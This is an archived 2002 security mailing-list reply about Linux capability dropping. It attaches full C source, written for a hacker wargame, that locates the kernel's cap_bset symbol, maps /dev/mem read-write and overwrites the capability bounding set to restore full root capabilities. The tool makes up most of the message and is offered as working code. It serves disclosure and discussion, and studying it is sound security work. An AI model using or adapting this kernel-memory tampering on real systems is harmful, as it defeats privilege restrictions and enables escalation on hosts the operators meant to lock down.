Re: Ports 0-1023?

From: Charles 'core' Stevenson (coreat_private)
Date: Sat Jul 06 2002 - 13:57:04 PDT

  • Next message: Blue Boar: "[Fwd: Re: Windows fuzz]"

    Kevin,
    
    Kevin Easton wrote:
    > ie, the cap_effective mask of the current task structure is checked against
    > the requested capability.  The capability checking code is all good to go - 
    > it only requires a creative way of selectively setting cap_effective to work.
    > I think rather than a proliferation of filesystem "setcap" bits for
    > executables, it's likely that a program would remain setuid root, but 
    > drop all unneeded capabilities as it's first task when run (ie, ping would
    > drop all capabilities except CAP_NET_RAW).
    
    Ah that makes sense to me now. It would be like dropping privileges 
    which most suids do already, but dropping capabilities ensures that the 
    process will not be able to restore them. Unless (e)uid 0 is kept and 
    CAP_SYS_RAWIO is not set. Because in this case privileges can be 
    restored. Attached is some code jduck and I wrote earlier this year for 
    a hacker wargame that restores privs in a pinch if certain conditions 
    exist.
    
    peace,
    core
    
    
    /*
     * Display the current Linux Capabilities and if possible reset to full capabilities
     * by writing to cap_bset's offset in /dev/mem.
     *
     * References:
     *  LCAP - http://pw1.netcom.com/~spoon/lcap/
     *
     * Requires: Linux >= 2.2.13, CAP_SYS_RAWIO must be enabled to write to /dev/mem
     *
     * Contributing Authors:
     *
     * Charles Stevenson   - Original code, endian fix, cleanup
     * Ethan Benson        - Updated get_proc_cap_bound replacing stdlib file i/o
     * Joshua J. Drake     - Paging code, get_proc_cap_bound, got it working, etc
     *
     */
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/mman.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <limits.h>
    
    
    /* definitions for defaults */
    #define LNX_PAGE_SIZE 	4096
    #define LNX_KERN_BASE 	0xc0000000
    #define FULL_CAPS 	0xffffffff
    #define PROC_CAP_BOUND 	"/proc/sys/kernel/cap-bound"
    #define DEFAULT_KSYMS 	"/proc/ksyms"
    /* option settings */
    #define OPT_VERBOSE 	0x01
    #define OPT_RESET 	0x02
    #define OPT_CHECK       0x03
    
    /* prototypes.. */
    void parse_args(int, char **);
    u_long get_ksyms_cap_bset(void);
    u_long get_proc_cap_bound(void);
    
    
    /* nasty globals.. */
    u_char opts = (u_char)0;
    u_char *ksyms_file = DEFAULT_KSYMS;
    
    
    /*
     * see if there are arguments passed in, otherwise assume defaults.
     * 
     * process the input/defaults and:
     *  - find out the address of cap_bset from the kernel symbol file
     *  - get the current value of cap_bset from /proc
     *  - confirm the value pointed to by the kernel symbol file matches
     *    the value obtained from /proc
     *  - if the -r options is specified reset the caps to full
     *    - confirm that the value is indeed updated..
     */
    int
    main(int c, char *v[])
    {
       u_long cap_bset_addr, cap_bset_paddr, 
          cap_bset, cap_bset_proc;
       int fd;
       void *page_ptr, *cb_ptr;
       
       /* see if we are altering the defaults */
       parse_args(c, v);
       
       /* find out the address of cap_bset from the kernel symbols file */
       if (!(cap_bset_addr = get_ksyms_cap_bset()))
          return 1;
       if (opts & OPT_VERBOSE)
          printf("cap_bset from \"%s\": 0x%08lx\n", ksyms_file, cap_bset_addr);
       
       /* first get cap_bound_set value from /proc */
       if (!(opts & OPT_CHECK))
          if (!(cap_bset_proc = get_proc_cap_bound()))
    	 return 1;
       if ((opts & OPT_VERBOSE) && !(opts & OPT_CHECK))
          printf("cap_bset from \"" PROC_CAP_BOUND "\": 0x%08lx\n", cap_bset_proc);
       
       /* turn the address into the offset of the page in kernel memory */
       cap_bset_addr -= LNX_KERN_BASE;
       cap_bset_paddr = cap_bset_addr;
       if ((cap_bset_paddr % LNX_PAGE_SIZE))
          cap_bset_paddr -= (cap_bset_paddr % LNX_PAGE_SIZE);
       if (opts & OPT_VERBOSE)
          printf("attempting to locate cap_bset at 0x%08lx on page at 0x%08lx\n",
    	     cap_bset_addr, cap_bset_paddr);
       
       /* map our handle on /dev/mem.. */
       if ((fd = open("/dev/mem", O_RDWR|O_SYNC)) == -1)
       {
          perror("error opening /dev/mem");
          return 1;
       }
       if ((page_ptr = mmap((void *)cap_bset_paddr, LNX_PAGE_SIZE,
    			PROT_READ|PROT_WRITE, MAP_SHARED,
    			fd, (off_t)cap_bset_paddr)) == MAP_FAILED)
       {
          perror("error mapping memory");
          return 1;
       }
       if (opts & OPT_VERBOSE)
          printf("obtained memory map using address 0x%08lx\n", (u_long)page_ptr);
       
       /* get our value from the offset of the beginning of the mapped page */
       cb_ptr = page_ptr + (cap_bset_addr - cap_bset_paddr);
       memcpy((void *)&cap_bset, cb_ptr, sizeof(cap_bset));
       if (opts & OPT_VERBOSE
           || !(opts & OPT_RESET))
          printf("cap_bset is: 0x%08lx at 0x%08lx\n", cap_bset, (u_long)cb_ptr + LNX_KERN_BASE);
       
       /* make sure the values match.. */
       if (!(opts & OPT_CHECK))
          if (cap_bset != cap_bset_proc)
          {
    	 fprintf(stderr, 
    		 "the value in kernel memory does not match that of /proc.\n"
    		 "we must have went wrong somewhere, perhaps we're looking in the wrong place?\n"
    		 "if CAP_SYS_MODULE is revoked reading /proc/sys/kernel/cap-bound will fail.\n"
    		 "use -c to skip the check.\n"
    	    );
    	 return 1;
          }
    
       /* if we need to reset the caps to full */
       if (opts & OPT_RESET)
       {
          u_long reset = FULL_CAPS;
    	
          memcpy(cb_ptr, (void *)&reset, sizeof(reset));
       }
    
       /* unmap/sync/clean up */
       if (munmap((void *)page_ptr, LNX_PAGE_SIZE) == -1)
       {
          perror("error unmaping memory");
          return 1;
       }
       sync();
       close(fd);
       
       /* double check if we reset it that it worked.. */
       if (opts & OPT_RESET)
       {
          if ((cap_bset_proc = get_proc_cap_bound()) != FULL_CAPS)
          {
    	 fprintf(stderr, "restoration of full capabilities failed!\n");
    	 return 1;
          }
          printf("restoration of capabilities completed successfully!\n");
       }
       return 0;
    }
    
    
    /*
     * parse the arguments passed in..
     * 
     * update the options/ksyms_file globals if needed..
     */
    void
    parse_args(int c, char *v[])
    {
       int ch;
       char *ptr;
       
       while ((ch = getopt(c, v, "vrc")) != -1)
       {
          switch (ch)
          {
    	 case 'v':
    	    opts |= OPT_VERBOSE;
    	    break;
    	 case 'r':
    	    opts |= OPT_RESET;
    	    break;
    	 case 'c':
    	    opts |= OPT_CHECK;
    	    break;
    	 default:
    	    ptr = strrchr(v[0], '/');
    	    ptr = ptr ? ptr + 1 : v[0];
    	    fprintf(stderr, "usage: %s [-vrc] [<kernel symbol file>]\n", ptr);
    	    exit(0);
    	    /* not reached */
          }
       }
       c -= optind;
       v += optind;
       if (v[0])
          ksyms_file = v[0];
    }
    
    
    
    /*
     * open up our ksyms_file and get the address of cap_bset
     * 
     * returns 0 if we can't get it..
     */
    u_long
    get_ksyms_cap_bset(void)
    {
       int fd, count=0, found=0;
       char buf[1024], needle[] = " cap_bset", *ptr;
       u_long tmpl;
       
       /* open the file and look for the needle in a each line */
       if (!(fd = open(ksyms_file, O_RDONLY)))
       {
          perror("unable to open ksyms file");
          return 0;
       }
       memset((void *)buf, 0, sizeof(buf));
       while ((count = read(fd, (void *)buf, sizeof(buf)-1))>0)
       {
          if (strstr(buf, needle))
          {
    	 found = 1;
    	 break;
          }
          memset((void *)buf, 0, sizeof(buf));
       }
       if (!found)
       {
          if (count==0)
    	 fprintf(stderr, "unable to find \"%s\" in the \"%s\"\n", needle, ksyms_file);
          else
    	 perror("unable to read from ksyms file");
          close(fd);
          return 0;
       }
       close(fd);
       
       /* we got the line that contains the address, try to turn it into a number... */
       if ((ptr = strchr(buf, ' ')))
          *ptr = '\0';
       if (!ptr || sscanf(buf, "%lx", &tmpl) != 1)
       {
          fprintf(stderr, "unable to decipher cap_bset address from \"%s\"\n", ksyms_file);
          return 0;
       }
       return tmpl;
    }
    
    
    /*
     * open up PROC_CAP_BOUND and get the number.. 
     * 
     * returns 0 if we can't get it
     */
    u_long
    get_proc_cap_bound(void)
    {
       int fd, len;
       char buf[32];
       u_long tmpl;
       
       if ((fd = open(PROC_CAP_BOUND, O_RDONLY)) == -1)
       {
          perror("unable to open " PROC_CAP_BOUND);
          return 0;
       }
       memset((void *)buf, 0, sizeof(buf));
       if ((len = read(fd, (void *)buf, sizeof(buf)-1)) < 1)
       {
          if (len == 0)
    	 fprintf(stderr, "unable to read from " PROC_CAP_BOUND ": EOF\n");
          else
    	 perror("unable to read from " PROC_CAP_BOUND);
          return 0;
       }
       if (sscanf(buf, "%ld", &tmpl) != 1)
       {
          fprintf(stderr, "unable to decipher value from " PROC_CAP_BOUND "\n");
          return 0;
       }
       close(fd);
       return tmpl;
    }
    



    This archive was generated by hypermail 2b30 : Sat Jul 06 2002 - 20:06:29 PDT